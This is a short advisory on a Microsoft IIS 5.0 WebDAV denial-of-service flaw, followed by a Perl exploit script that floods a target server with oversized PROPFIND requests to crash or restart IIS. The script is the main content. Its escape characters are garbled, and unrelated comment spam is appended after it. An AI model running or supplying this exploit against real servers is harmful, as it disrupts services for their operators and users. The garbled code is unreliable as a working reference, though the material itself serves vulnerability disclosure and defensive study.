source: http://www.securityfocus.com/bid/2453/info
Microsoft IIS is subject to a denial of service condition. WebDAV contains a flaw in the handling of certain malformed requests, submitting multiple malformed WebDAV requests could cause the server to stop responding. This vulnerability is also known to restart all IIS services.
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;
print "IIS 5.0 propfindn";
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."nn";
# ^^^^ This is another issue and also works with length ~>65000
$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."nn";
$l=length($xml);
$req="PROPFIND / HTTP/1.1nContent-type: text/xmlnHost: $hostnContent-length: $lnn$xmlnn";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}
do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.n";
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666